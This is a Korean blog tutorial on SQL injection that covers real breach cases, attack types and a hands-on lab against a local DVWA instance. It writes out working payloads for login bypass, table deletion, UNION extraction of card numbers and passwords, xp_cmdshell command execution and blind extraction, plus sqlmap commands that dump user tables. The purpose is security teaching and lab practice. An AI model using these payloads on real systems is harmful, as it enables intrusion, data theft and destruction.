보안에 대한 경각심을 일깨우고 기업 스스로가 자발적으로 보안에 적절한 투자할 수 있는 제도/사회/문화적 환경 개선이 시급하다는 생각이 든다.

개인적으로는, 잘못을 했을 때 벌을 주는 것도 필요하지만, 잘 했을 대 상을 주는 법안도 나오길 기대한다. 기업이 보안 강화에 사용하는 것이 비용이 아니라 투자가 될 수 있도록 말이다.

[웹보안] SQL Injection

Posted in SW개발 // Posted at 2019. 1. 28. 12:51
728x90

SQL 인젝션은, 웹 보안 하면 가장 대중적으로 언급되는 공격 기법입니다. 

XSS와 함께 쌍두마차급으로 유명한 기법이지요. 꽤 오래전에, 이 공격에 대한 글을 한번 다룬적이 있는데요. 벌써 12년도 더 전이네요. 그때나 지금이나 SQL 인젝션의 공격기법이든 방어기법이든 크게 달라진 것이 없어 보입니다.

[웹 보안 시리즈] 2. SQL INJECTION

(대부분의 웹해킹이 그렇듯이) 웹 개발의 기본을 잘 이해하고 있다면, SQL 인젝션은 쉽게 이해하고 시도해 볼 수 있으리라 판단됩니다. 이 해킹 공격을 도와주는 자동화 툴도 쉽게 구할 수 있고요.

SQL 인젝션은 손쉽게 공격을 해 볼 수 있는 반면에 공격이 성공했을때그 파급력을 상당할 수 있습니다.

지금부터 알아볼 사례들을 보면, 이 진부한 공격기법이 아직까지 기승을 부리고 있다는 것을 알 수 있습니다.

SQL 인젝션 해킹 사례

먼저 SQL 인젝션으로인한 해킹 사례를 집어 보자. 국내의 비교적 최근에 발생한 가장 유명한 두 가지 사례를 먼저 알아보자.

사례1) '여기어때' 해킹


https://news.joins.com/article/21628794

2017년 3월, 유명한 숙박앱인 '여기 어때'가 해킹을 당했다. 대량의 고객 정보와 고객의 투숙정보가 해커에게 유출되었으며 이 중 수천명에게 '모텔서 즐거우셨나요?'라는 식의 협박성의 민망한 문자가 전송되었다고 한다.

기사에 따르면, 이 사건은 보안이 허술한 특정 웹 페이지를 대상으로 SQL 인젝션 공격을 시도해서 관리자 세션을 탈취하고 이 정보로 관리 페이지에 위장 로그인하여 고객의 개인정보를 유출했다고 한다.

‘여기어때’ 개인정보 99만건 유출…‘SQL인젝션’ 공격이 원인


사례2) '뽐뿌' 해킹

'여기 어때'  사건으로부터 약 2년전(2015년 9월), 커뮤니티 사이트로 유명한 '뽐뿌'에서도 SQL 인젝션 공격으로 200만명 가량 개인정보가 유출된 사례가 있었다.


http://www.korea.kr/policy/pressReleaseView.do?newsId=156081058

이러한 개인정보 유출은 해당 사이트에 대한 피해뿐만 아니라, 이미 유출된 개인정보가 언제 어떤 식으로 다시 악용되어 2차 피해로 이어질지 알 수 없다는 것이 더욱 문제이다.

사례3) 해외 사례

SQL 인젝션 해킹 사례는 비단 국내에만 있는 것이 아니다.

2015년, 해커그룹 어나미머스가 WTO 웹사이트를 SQL 인젝션으로 공격해 각 나라의 직원 개인정보를 탈취한 사건이 있었다.
어나니머스, WTO 웹사이트 공격…직원 정보유출


또한 2014년, 영국의 유명 여행 웹사이트가 SQL 인젝션 공격으로 신용카드 번호가 유출되었다고 한다.> 英정보위원회 SQL인젝션 공격 경고…피해사례 발생


그리고 2011년에는 소니가 해커집단(Lulzsec)으로부터 조롱당한 일이 있었는데, 이때도 역시 SQL 인젝션 기법이 사용되었다고 한다.
미국 FBI, 소니 해킹 용의자 검거


이외에도 조금만 찾아보면 SQL 인젝션으로 인한 다양한 해킹 사례를 확인할 수 있다.


SQL 인젝션 공격 비중

앞서 XSS와 함께 SQL 인젝션은 쌍두마차 격으로 웹에서 빈번히 일어나는 해킹 기법이라고 했다. 2016년 펜타시큐리티에서 발표한 '웹 공격 동향 보고서'를 살펴 보자

전체 해킹 시도 중, SQL 인젝션이 45% 즉 절반에 가까운 비중을 차지했다. 펜타시큐리티 측은 2016년 발생한 웹공격 사례 4건 중 3건이 SQL 인젝션과 XSS 기법으로 수행됐다는 조사결과를 발표했다.

그리고 글로벌 CDN업체인 CDNetworks의 '2016년 4분기 웹 공격 분석 보고서'를 보면 SQL 인젝션이 두 번째로 많이 시도되는 해킹 기법이라는 조사 결과를 내놨다.


SQL 인젝션의 위상(?)은, OWASP TOP 10에서도 확인할 수 있다.

OWASP Top 10은 2013년에 이어 개정한 2017년 버전에서도 '인젝션'이 랭킹 1위로 포지셔닝 하고 있다. 물론 OWASP에서 말하는 인젝션은 SQL 인젝션을 포함한 모든 유형의 인젝션을 일컫는다.


SQL 인젝션 개념

SQL 인젝션은, 웹 애플리케이션이 데이터베이스와 연동하는 모델에서 발생 가능하다.

이용자의 입력값이 SQL 구문의 일부로 사용될 경우, 해커에 의해 조작된 SQL 구문이 데이터베이스에  그대로 전달되어 비정상적인 DB 명령을 실행시키는 공격 기법이다.


[출처: 행정안전부 시큐어 코딩 가이드]


SQL 인젝션 공격 목적 및 영향

SQL 인젝션은 DB에 비정상적인 쿼리가 실행되도록 하여 다음과 같은 목적을 달성하고자 한다.

1. 인증 우회
SQL 인젝션 공격의 대표적인 경우로, 로그인 폼(Form)을 대상으로 공격을 수행한다. 정상적인 계정 정보 없이도 로그인을 우회하여 인증을 획득할 수 있다.

2. DB 데이터 조작 및 유출
조작된 쿼리가 실행되도록 하여, 기업의 개인정보나 기밀정보에 접근하여 데이터를 획득할수 있다. 또한 데이터 값을 변경하거나 심지어 테이블을 몽땅 지워버릴 수도 있다.

3. 시스템 명령어 실행
일부 데이터베이스의 경우 확장 프로시저를 호출하여 원격으로 시스템 명령어를 수행할 수 있도록 한다. 시스템 명령어를 실행할 수 있다면 해당 서버의 모든 자원에 접근하고 데이터를 유출, 삭제 할 수 있다는 말이 된다.


SQL 인젝션 공격 원리와 유형

SQL 인젝션은 데이터베이스 명령어인 SQL 쿼리문에 기반하여 공격을 수행한다. 공격에 이용되는 쿼리문은 문법적으로는 지극히 정상적인 SQL 구문이다. 다만 실행되지 말아야 할 쿼리문이 실행되어 공격에 이용되는 것이다.

SQL 인젝션은 최소한 다음의 조건을 충족해야 공격이 가능하다.

조건 1) 웹 애플리케이션이 DB와 연동하고 있다.

조건 2) 외부 입력값이 DB 쿼리문으로 사용된다.

웹 애플리케이션이 위 두 조건 중, 하나라도 충족하지 않는다면 SQL 인젝션 공격은 무용지물이 될 것이다. 그러나 현재의 대부분 웹 애플리케이션은 위 두가지 조건을 대부분 충족한다. 그래서 대부분의 경우 SQL 인젝션은 유효한 공격 기법이 될 것이다.


SQL 인젝션 공격 유형과 공격 기법

1. (일반적인) SQL 인젝션

굳이 '일반적인'이라는 용어는 붙일 필요가 없으나, 이어서 소개할 Blind SQL 인젝션과 구분하기 위함이다. 일반적인 SQL 인젝션 공격은 다음의 형태로 수행된다.

1) 쿼리 조건 무력화(Where 구문 우회)
Where 구문은 SQL에서 조건을 기술하는 구문이다. Where 조건에 기술된 구문이 '참(true)'이 되는 범위만 쿼리 결과로 반환된다.

해커는 이 Where 조건이 무조건 참이 되도록 쿼리를 조작하여 Where 조건을 우회하게 만든다.

예를 들어, 다음과 같이 로그인을 처리하는 동적쿼리가 있다고 가정하자. 외부 입력값인 UserID와 Password가 쿼리문의 일부로 사용되고 있다.

SQL = "Select * From Users"

       + " Where UserID = '"+ UserID +"' And Password = '" + Password + "'"

먼저 SQL 구문의 주석(Comment)을 의도적으로 삽입하여 Where 조건을 무력화 시킬 수 있다. 다음과 같이 UserID 값에 주석을 삽입하면 주석 이하의 구문은 실행되지 않게 되어 admin이라는 계정의 패스워드를 몰라도 인증을 통과하게 된다. (admin이라는 ID는 이미 알고 있다고 가정한다. 그리고 -- 는 MS SQL Server의 주석이다. MySQL의 경우 #을 사용해야 한다.)

[ 외부 입력값 ]
UserID: admin'--
Password: 아무거나

[ 실행되는 쿼리문 ]
Select * From Users Where UserID = 'admin'-- And Password = '아무거나'

또한 항상 참이 되도록 Boolean 식을 구성하여 Where 조건을 무력화 시킬 수 있다. 다음과 같이 Password 값에 참(true)인 조건이 or 로 연결되도록 삽입하면 or 조건으로 인해 쿼리의 결과가 무조건 참이되어 없는 계정과 다른 패스워드라 할지라도 (여기서는 test라는 계정은 실제 db에 없는 계정임) 인증을 통과하게 된다.

[ 외부 입력값 ]
UserID: test
Password: 1234' or '1'='1

실행되는 쿼리문 ]
Select * From Users Where UserID = 'test' And Password='1234' or '1'='1'

이와 같은 방식을 이요하여 인증을 우회하기도 하지만, 직접 데이터베이스 내용을 조작할 수도 있다. 다음과 같이 ;(콜론)으로 명령어를 연결하면 한 줄로 된 두 개이상의 명령어를 연속해서 기입할 수 있는데 여기에 테이블을 삭제하거나 수정하는 조작된 쿼리문을 삽입할 수 있다.

[ 외부 입력값 ]
UserIDadmin' ; DELETE From Users--
Password아무거나

실행되는 쿼리문 ]
Select * From Users Where UserID = 'admin' ; DELETE From Users -- And Password='아무거나'


2) 고의적 에러 유발후 정보 획득
또다른 기법으로는 의도적으로 SQL 구문 에러를 유발하여 웹 애플리케이션이 내뱉은 오류 정보에 기반하여 유용한 정보를 알아 차린다. 그 정보는 연속되는 또 다른 공격의 소재로 사용되기도 한다.

기본적으로 웹 애플리케이션은 쿼리 수행 중 오류가 발생하면 DB오류를 그대로 브라우저에 출력한다. 이 오류 정보를 통해 DB의 스키마 정보나 데이터가 유출될 수 있다.

가령, SQL 쿼리문에서 UNION 은 두 테이블의 결과를 합치는 명령어이다. UNION으로 합쳐지는 두 테이블은 컬럼 갯수가 일치해야만 오류가 나지 않는다. 아래와 같이 컬럼 1개만 가진 대상 테이블을 가정하여 UNION 구문을 삽입해 보자.

[ 외부 입력값 ]
UserID: testUNION SELECT 1 --
Password아무거나

실행되는 쿼리문 ]
Select * From Users Where UserID = 'test' UNION SELECT 1 -And Password='아무거나'

테스트용 Users 테이블은 4개의 컬럼으로 구성되어 있다. 따라서 위의 쿼리문이 실행되면 다음과 같은 오류가 발생하여 브라우저에 노출된다.

"UNION, INTERSECT 또는 EXCEPT 연산자를 사용하여 결합된 모든 쿼리의 대상 목록에는 동일한 개수의 식이 있어야 합니다." (SQL Server 기준)

컬럼 수가 몇개인지 모르는 해커는 하나부터 둘,셋,.. 늘리면서 입력을 반복해서 시도해 볼 것이다. 마침 4개의 UNION SELECT를 하는 순간 오류가 발생하지 않음을 알고 이 기능의 원본 쿼리가 반환하는 컬럼의 수가 4개인 것을 알게 된다. (참고로 MS SQL Server에서는 UNION 되는 컬럼끼리 데이터 타입이 충돌나면 타입 오류를 발싱시키므로 컬럼 타입을 맞출 필요가 있다.)

[ 외부 입력값 ]
UserIDtest' UNION SELECT 1,1,1,1 --
Password아무거나

실행되는 쿼리문 ]
Select * From Users Where UserID = 'test' UNION SELECT 1,1,1,1 -And Password='아무거나'

이렇게 알아낸 컬럼 수를 기반으로 다음과 같이 시스템 테이블의 정보를 조회해 볼 수 있다. 다음의 쿼리가 실행되도록 SQL 구문을 주입하면 현재 데이터베이스에 존재하는 모든 테이블 목록을 볼 수 있다.
(아래 쿼리는 SQL Server 기준이다. 만일 MySQL이라면 information_scheme 데이터베이스의 테이블들을 사용하면 된다.)

Select * From Users Where UserID = 'test' UNION SELECT name, object, 1,1 FROM sys.tables -And Password='아무거나'

위와 같이 테이블 리스트 조회에 성공했다면, 테이블 목록 중 구미가 당기는 테이블을 선택해서 그 테이블에 저장된 데이터를 획득할 수 있다. 다음의 예에서는 결제(Payment)로그가 담긴 PaymentLog 테이블의 UserID와 카드 번호 유출을 시도하는 쿼리이다.

Select * From Users Where UserID = 'test' UNION SELECT UserID, CardNo, 1, 1 FROM PaymentLog -And Password='아무거나'

물론 이렇게 공격에 성공하려면 컬럼명도 알고 때론 타입도 알아야 할 경우가 생긴다. 과거에 정리했던, 아래의 글에서 컬럼명을 알아내거나 타입을 알아내는 방법을 참고하도록 한다.

[웹 보안 시리즈] 2. SQL INJECTION


3) 시스템 명령어 실행
MS SQL Server의 경우 시스템 명령을 실행할 수 있는 확장 프로시저를 제공한다. xp_cmdshell 프로시저를 이용한다. 다음과 같이 UserID 값에 ;(콜론)으로 xp_cmdshell 실행 구문을 연결하고 이후 구문은 주석처리 되도록 하여 윈도우 C 드라이버를 탐색하는 명령을 보낸다. 이 계정에 유효한 권한이 주어져 있다면 어떤 시스템 명령도 내릴 수 있게 된다.

[ 외부 입력값 ]
UserIDadmin' ; EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'--
Password: 아무거나

[ 생성된 쿼리문 ]
Select * From Users Where UserID = 'admin' ; EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'-- And Password='아무거나'

참고로 각 DBMS마다 SQL 구문이 조금식 차이가 나므로, SQL 인젝션 공격시 해당 DBMS가 지원하는 구문을 잘 알고 사용해야 한다. 다음의 사이트에서 각 DBMS별로 서로 상이한 구문을 상세히 안내하고 있으니 참고 바란다.

> SQL Injection Cheat Sheet


2. Blind SQL 인젝션

앞서 일반적인 SQL 인젝션 공격에서는 쿼리 조건을 무력화하여 인증을 우회하거나, 출력된 에러 내용에 기반하여 DB의 스키마 정보를 획득한 후, 쿼리 결과에 정보를 붙여서(UNION) 데이터를 유출하거나 시스템 명령어를 삽입하는 형태로 공격이 진행되었다.

그러나 만일 공격하는 대상 웹페이지가 어떠한 오류도 출력하지 않고 쿼리 결과 리스트도 제공하지 않는다면 이러한 공격 패턴으로는 해킹에 성공하기가 쉽지 않다. (다시말해, 에러 내용으로 DB 정보를 유추할 수도 없고, 쿼리 결과 데이터를 제공하지 않기 때문에 UNION 같은 쿼리를 삽입하여 데이터를 붙여 볼 수도 없는 것이다.)

이럴 경우, 유용하게 사용할 수 있는 공격 기법이 바로 Blind SQL 인젝션이다. 

한마디로, Blind SQL 인젝션은 쿼리 결과의 참/거짓으로부터 DB값을 유출해 내는 기법이다.

이 공격을 수행하려면, 먼저 웹 애플리케이션에서 쿼리 결과에 대해 참/거짓을 반환하는 요소를 찾아야 한다. 예를 들어 'ID 찾기'나 '게시판 검색'과 같은 기능에서 참/거짓을 판별하는 요소를 찾을 수 있다.


1) Boolean-based Blind 공격
가령 어느 웹사이트가 게시판 검색이라는 기능을 제공할 경우, 다음과 같이 참/거짓의 반환을 테스트 해 볼 수 있다.

[ 외부 입력값 ]
제목검색hello' AND 1=1-- (유효한 검색단어와 항상 참이되는 조건 부여)

[결과]
게시판 검색됨  --> 참(true)이으로 간주

---


[ 외부 입력값 ]
제목검색hello' AND 1=2--  (유효한 검색단어와 항상 거짓이 되는 조건 부여)

[결과]
게시물 검색 안됨 --> 거짓(false)으로 간주

'hello'라는 검색어에 항상 참인 조건(1=1)을 AND로 조합하니까 정상적으로 결과가 반환되었다. 반면 동일한 검색어(hello)에 항상 거짓인 조건(1=2)을 AND로 조합하니가 구성하니 게시판 검색이 되지 않았다. 이 둘을 참과 거짓의 반응으로 간주할 수 있다.

즉 핵심은 게시판 검색 기능을 참/거짓을 반환하는 요소로 사용할 수 있다는 점이다. 여기에 AND 조건으로 해커가 알고 싶은 쿼리 조건을 삽입해서 그 결과로부터 정보유출이 가능한 것이 Blind SQL 인젝션 공격 기법이며 이중에서도 AND 조건에 논리식을 대입하여 참/거짓 여부를 알아내는 방식을 Boolean-based Blind 공격이라 한다.

2) Time-based Blind 공격
앞서 게시판 검색에서는 검색 결과의 유,무로 참/거짓을 판별할 수 있었다. 그러나 어떤 경우에는 응답의 결과가 항상 동일하여 응답결과만으로는 참/거짓을 판별할 수 없는 경우가 있을 수 있다.

이럴때는 시간을 지연시키는 쿼리를 주입하여 응답 시간의 차이로 참/거짓 여부를 판별할 수 있다.

게시판 검색 시나리오에서 Time-based Blind 공격을 시도해 보자.

MS SQL Server 환경

[ 외부 입력값 ]
(DB의 시스템 계정이 sa 인지 판별하는 구문 삽입. 여기에서 검색어(hello)는 중요하지 않음)
제목검색: hello' ;  IF SYSTEM_USER='sa' WAITFOR DELAY '00:00:5'-- 

[실행되는 쿼리]
SELECT * FROM TB_Boards WHERE Title = 'hello' ;  IF SYSTEM_USER='sa' WAITFOR DELAY '00:00:2'

[결과]
1) 응답이 5초간 지연됨 -> 참(true) --> 시스템 계정이 sa임
2) 응답이 즉시 이뤄짐 -> 거짓(false) --> 시스템 계정이 sa가 아님

My SQL 환경

[ 외부 입력값 ]
(DB의 시스템 계정이 sa 인지 판별하는 구문 삽입. 여기에서 검색어(hello)는 중요하지 않음)
제목검색: hello AND sleep(5)#

[실행되는 쿼리]
SELECT * FROM TB_Boards WHERE Title = 'hello' AND sleep(5)

[결과]
1) 응답이 5초간 지연됨 -> 참(true) --> hello 검색어가 존재함
2) 응답이 즉시 이뤄짐 -> 거짓(false) --> hello 검색어가 존재하지 않음


이렇듯 Time-based Blind 공격은 쿼리 지연을 유도해 응답 시간에 걸리는 시간으로 참/거짓을 판별하게 함으로써 DB의 유용한 정보를 캐낼 수 있게 된다.

정리하자면, Blind SQL 인젝션은 쿼리 결과가 참일때와 거짓일때의 서버의 반응 만으로 데이터를 얻어낼 수 있는 SQL 인젝션 공격 기법이다. 이 기법은 많은 조건에 대한 비교과정을 거쳐야 의미있는 정보를 얻을수 있기 때문에, 거의 모든 경우 자동화 툴을 사용해서 공격이 진행된다.


Blind SQL 인젝션 공격 시나리오

해커는 게시판 검색 기능을 이용하여 회원 테이블의 비밀번호를 알아내고자 한다. 이미 다양한 공격 시도로 회원 테이블명이 Users라는 것을 알고 있거나 유추했다고 가정한다.

1. (앞서 해 본 것 처럼) 해커는 게시판 검색 기능으로 참/거짓을 판별할 수 있다는 것을 알아 냈다.

2. 해커는 회원 테이블에서 특정 회원의 비밀번호를 알아내고자 다음과 같은 쿼리를 주입한다.

(DB는 MS SQL Server 라고 가정함)

[ 외부 입력값 ]
hello' AND ASCII(LEFT((SELECT Password From TB_Users WHERE UserID = 'admin'), 1)) > 90

[ 실행되는 쿼리문 ]
SELECT * FROM TB_Boards WHERE Title = 'hello' AND ASCII(LEFT((SELECT Password From TB_Users WHERE UserID = 'admin'), 1)) > 91

회원 테이블에서 'admin'이라는 계정의 패스워드를 알아 내려고 한 해커는....

항상 참(true)을 반환하는 조건(여기서는 게시판 제목 검색에 'hello'라는 검색어) 뒤에 AND 조건으로 회원 테이블의 패스워드에서 첫 문자를 가져와서 아스키코드로 변환하여 그 결과를 아스크 코드값과 비교한다. 먼저 대소분자 여부를 알아내기 위해 아스크 코드 91 보다 큰지 검사한다.

아스키코드 90은 대문자 'Z'의 아스키 값으로 이 값보다 크다는 말은 패스워드 첫 글자가 소문자로 구성되었다는 의미가 된다.(아스키 코드 테이블 참조)

패스워드 첫 글자가 소문자인 것을 알아낸 해커는 계속해서 다음과 같은 공격을 연속적으로 시도한다.

SELECT * FROM TB_Boards WHERE Title = 'hello' AND ASCII(LEFT((SELECT Password From TB_Users WHERE UserID = 'admin'), 1)) > 110 -- true


SELECT * FROM TB_Boards WHERE Title = 'hello' AND ASCII(LEFT((SELECT Password From TB_Users WHERE UserID = 'admin'), 1)) > 115 -- false


SELECT * FROM TB_Boards WHERE Title = 'hello' AND ASCII(LEFT((SELECT Password From TB_Users WHERE UserID = 'admin'), 1)) > 113 -- false


SELECT * FROM TB_Boards WHERE Title = 'hello' AND ASCII(LEFT((SELECT Password From TB_Users WHERE UserID = 'admin'), 1)) > 111 -- true


SELECT * FROM TB_Boards WHERE Title = 'hello' AND ASCII(LEFT((SELECT Password From TB_Users WHERE UserID = 'admin'), 1)) > 112 -- false

이렇게 총 6번을 시도해 본 결과, 패스워드 첫 글자가 소문자 'P' 라는 것을 알게 된다.
(111보다 크다는 조건에서는 true 값을, 112보다 크다는 조건에서는 false를 반환했으니 결과는 112로 영어 소문자 p가 되는 것이다)

이런식으로 한 글자씩 아스키값을 비교해서 전체 패스워드를 알아 나가는 방식으로 공격이 수행된다. 

SQL 인젝션 공격 실습

[ 경고 ]
허가 받지 않은 사이트에 해킹을 시도 하는 것은 불법입니다.
DVWA와 같이 테스트를 목적으로 셋팅된 사이트에 모의 해킹을 시도해야 법적 문제가 업습니다.


SQL 인젝션 취약성 판단

SQL 인젝션 공격을 시도하기 전에 공격 대상 웹 애플리케이션이 SQL 인젝션에 취약한지 먼저 알아 보는 것이 좋다. 보통 자동화 툴을 통해 스캐닝을 한번 쭉 해 보면 쉽게 알 수 있지만 간단한 테스트로도 알아 볼 수 있다. 

제일 간편하게 알아 볼 수 있는 방법은 사용자 입력값에 '(싱글쿼터)를 주입해 보는 것이다.

만일 싱글쿼터를 입력했는데, 사이트가 오류를 내 뱉으면 SQL 인젝션에 취약하다는 의미가 된다. 공격 대상 웹 애플리케이션의 다음과 같은 입력요소에 싱글쿼터 주입을시도해 볼 수 있다.

- 로그인 창
- 게시판 검색창
- 사이트 전역 검색창
- GET URL의 파라메타값
- 기타 외부입력값으로 보이는 모든 곳


DVWA 사이트에서 SQL 인젝션 공격 실습

1) (일반적인) SQL 인젝션 공격 실습

로컬에 셋팅된 DVWA 사이트(http://localhost/dvwa)를 브라우저로 접속하고 로그인(admin / password) 한다. 만일 DVWA 사이트에 접속되지 않는다면 XAMPP Control Panel에서 Apache와 MySQL 이 시작되었는지 확인한다.

DVWA 사이트가 로컬에 셋팅되지 않았다면, 다음 글을 참고하여 로컬 환경을 마련한다.

> [웹보안] 로컬 환경 셋팅과 툴 설치

DVWA 사이트에 접속하면 다음 화면과 같이 SQL Injection과 SQL Injection(Blind) 메뉴를 볼 수 있다. 먼저 SQL Injection 메뉴를 들어가서 SQL 인젝션 공격을 시도 해보자.

DVWA 사이트의 Security 레벨을 Low로 설정하는 것을 잊지 말자. Security 레벨에 대해서는 다음의 글을 참고한다.

https://m.mkexdev.net/426

이 페이지는 User ID를 입력하면 회원 정보를 간단히 출력하는 기능을 제공한다.
(DVWA 데이터베이스는 1~5까지의 User ID가 기본적으로 저장되어 있다. 1~5 중 아무거나 입력해서 테스트 해 보면 출력 결과를 볼 수 있다)

User ID라는 외부 입력값을 주입할 수 있는 기능을 찾았으니 이 페이지가 SQL 인젝션에 취약한지 먼저 테스트 해 본다. 앞서 설명 했듯이, '(싱글쿼터)를 입력해서 응답을 보니 오류 메시지가 출력되는 것을 확인할 수 있다. 따라서 이 페이지는 SQL 인젝션에 취약한 것을 확인한 것이다.

이제 User ID에 공격용 SQL 구문을 삽입해 보자. DVWA 사이트는 MySQL DB를 사용하므로 MySQL용 SQL 구문을 사용해야 한다.

다음은 SQL 구문 삽입에 대한 결과를 설명한다

1' or 1=1#  (결과)모든 User 정보가 노출되어 버림(조건이 항상 참이 되어 버려 모든 행(row) 출력)

1' union select 1,1# (결과)오류 없음. 즉 컬럼 갯수가 두개라는 것을 알아냄

1' union select schema_name, 1 from information_schema.schemata# (결과)서버의 데이터베이스 이름이 모두 노출됨

1' union select table_name, column_name from information_schema.columns where table_schema = 'dvwa'# (결과)dvwa 데이터베이스에 포함된 테이블과 컬럼이름이 모두 노출됨.

(MySQL의 information_schema는 해당 서버의 모든 DB의 메타정보를 저장해둔 데이터베이스이다. UNION 구문을 주입하여 information_schema에 있는 각종 정보를 조회해 볼 수 있다.)

이제 앞서 공격을 통해, dvwa라는 DB에 users라는 테이블이 있으며 이 테이블의 컬럼들을 모두 알아 내었다. 마지막 공격 테스트로 다음과 같이 users 테이블에 user 이름과 password를 조회해 보자

1' union select user,password from users# (결과) users 테이블의 모든 사용자에 대한 이름, 패스워드가 노출됨


2) Blind SQL 인젝션 공격 실습

이제 DVWA 사이트에서 Blind SQL Injection 메뉴로 이동하자. SQL Injection 메뉴와 동일하게 User ID를 입력받는 페이지가 로딩된다.

여기에 '(싱글쿼터)를 입력해보자. 

이번에는 아무런 오류가 나지 않는다. 즉 SQL 인젝션 공격에 취약한지 일단을 알기 힘들다.

그리고 정상적인 User ID를 입력해도 '아이디가 존재한다'는 안내 메시지만 노출될 뿐 특별한 추가 정보를 보여주진 않는다.

그렇다면 이제 이 페이지가 참/거짓을 판별할 수 있는 요소인지 테스트 해 보자. User ID에 다음과 같이 입력하고 결과를 보자.

1' AND a=b# (결과) User ID가 없다는 결과를 출력함

1' AND a=a# (결과) User ID가 존재한다는 결과를 출력함

존재하는 ID인 1을 입력하고 AND 조건으로 항상 참(true)이되거나 거짓(false)이 되는 조건을 주입하니까 그 결과로 서로 다른 결과를 보여준다. 여기서 우리는 이 페이지가 Blind SQL 인젝션에 활용할 수 있는 즉 참/거짓을 반환하는 요소임을 눈치 챌 수 있다.

이제 다음과 같이 Time based 공격을 시도해 보자.

1' AND sleep(5)# (결과) 응답시간이 5초가 걸림

6' AND sleep(5)# (결과) 즉각 응답함

존재하는 ID일 경우, 응답에 5초가 걸리는 것으로 보아 이 조건은 참이 되어 1이라는 ID가 존재한다는 의미가 된다. 반면 6을 입력하면 거짓이 되어 그 뒤의 조건인 sleep(5)가 실행되지 않아 즉각 반환하게 된다. 결국 여기서 우리는 6이라는 User ID는 존재하지 않는다는 것을 알 수 있다.

이제 참/거짓을 판별할 수 있는 요소를 이용해서 유용한 정보를 캐내어 보자

User ID가 1인 사람의 first_name을 알아 내는 과정을 시도해보자. 아래처럼 차례대로 입력해서 결과를 보자.

1' and ascii(substr(select first_name from users where user_id='1'), 1, 1) > 91# (결과) false

1' and ascii(substr(select first_name from users where user_id='1'), 1, 1) > 110# (결과) false

1' and ascii(substr(select first_name from users where user_id='1'), 1, 1) > 100# (결과) false

1' AND ascii(substr((select first_name from users where user_id='1'), 1, 1)) > 95# (결과) true

1' AND ascii(substr((select first_name from users where user_id='1'), 1, 1)) > 97# (결과) false

1' AND ascii(substr((select first_name from users where user_id='1'), 1, 1)) > 96# (결과) true

96보다는 크고(true) 97보다는 크지 않는 아스키코드의 문자는 바로 'a'가 된다. 이렇게 first_name의 첫 글자를 알아 내었다. 이런식으로 두번째, 세번째 글자를 하나씩 알아낼 수 있게 된다.


3) 툴을 이용한 자동화된 Blind SQL 인젝션 공격 실습

앞서 수동으로 Blind SQL 인젝션 공격을 시도해 보았다. first_name 하나만 알아내는데도 많은 비교 과정을 거쳐야 한다. 따라서 이와같은 공격은 툴로 자동화해서 시도하면 공격 효율이 훨씬 높아진다.

SQL 인젝션에 가장 흔히 사용되는 툴인 SQL Map를 사용해 볼 것이다.

[ SQL Map 설치(윈도우) ]

1) 파이썬 설치(SQL Map는 2.6.x 또는 2.7.x 버전에서만 동작함)

2) http://sqlmap.org 에서 ZIP 파일 다운로드 받아서 압축풀기

3) 명령프롬프트(cmd.exe)에서 해당 폴더로 이동 후 명령어 실행
    ex) python sqlmap.py --help

SQL Map 으로 다음의 명령을 실행할 것이다.

python sqlmap.py -u "공격 대상 URL" --cookie="사이트 쿠키값"

여기서 공격 대상 URL은 DVWA 사이트의 Blind SQL Injection 메뉴에서 User ID를 입력하고 전송(Submit)한 URL이 되며, 쿠키 정보는 크롬 브라우저 개발자도구(F12)에서 확인 가능하다.
(DVWA 사이트는 인증을 해야 들어갈 수 있기 때문에 인증값인 쿠키가 필요하다.)

이 명령어를 채워서 다음과 같이 공격을 시작해 보자.

python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; _ga=GA1.1.1921041872.1534152252; PHPSESSID=8dknegkogthdhj1ibr615f9iqn"

다음과 같은 콘솔 결과를 확인할 수 있다.

콘솔의 내용을 보면, id라는 GET 파라메타를 이용해서 AND Boolean-based Blind 공격이 가능할 것 같다는 메시지를 확인할 수 있다. 그리고 데이터베이스가 MySQL 같아 보이며, 다른 DBMS에 대한 공격은 건너 뛸 것인지 물어보고 있다. 여기서 Y(기본값)를 입력하고 엔터를 친다.

그러면 다음과 같이 선택을 요구한다.

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]

MySQL 대한 모든 테스트를 포함할 것인지 두는 것인데 역시 Y(기본값)을 선택하고 다시 엔터를 친다.

이제 SQLMap이 공격을 자동을 수행한다. 중간중간에 옵션에 대한 질문이 나오면 기본값(Y)로 해서 계속 진행한다.

최종적으로 다음과 같이, id 파라메타가 취약하다는 것을 알리며 다른 파라메타를 계속 테스트 할 것인지 물어본다. 

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

여기서는 N(기본값)을 선택하고 계속 진행하면 최종 결과가 다음과 같이 나타난다.

id 파라메타를 이용해서 boolean-based blind와 error-based, AND/OR time-based blind 공격이 가능하다고 알려 주고 있으며 웹서버의 종류와 버전, 개발언어, DBMS 종류와 버전을 알려준다.

이제 SQL 인젝션 공격이 가능하다고 나왔으니 본격적으로 공격을 시도해 보자.

DB 명 알아내기
다음 명령어를 실행해서 DB 명을 알아 낼 수 있다.

python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; _ga=GA1.1.1921041872.1534152252; PHPSESSID=8dknegkogthdhj1ibr615f9iqn" --current-db

명령이 실행되면 콘솔 출력에 다음과같이 DB명이 나타난다.

current database:    'dvwa'

테이블명 알아내기
DB명을 알아 냈으니 이번에는 다음의 명령어로 해당 DB에 존재하는 테이블들을 조사해 보자.

python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; _ga=GA1.1.1921041872.1534152252; PHPSESSID=8dknegkogthdhj1ibr615f9iqn" -D dvwa --table

결과를 보면 dvwa 데이터베이스에는 guestbook과 users라는 테이블이 존재한다는 것을 확인할 수 있다.

테이블에 저장된 데이터 알아 내기
users가 회원테이블임을 직감하고 이 테이블의 내용을 획득하고자 한다. 다음의 명령어를 실행한다.

python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; _ga=GA1.1.1921041872.1534152252; PHPSESSID=8dknegkogthdhj1ibr615f9iqn" -T users --dump

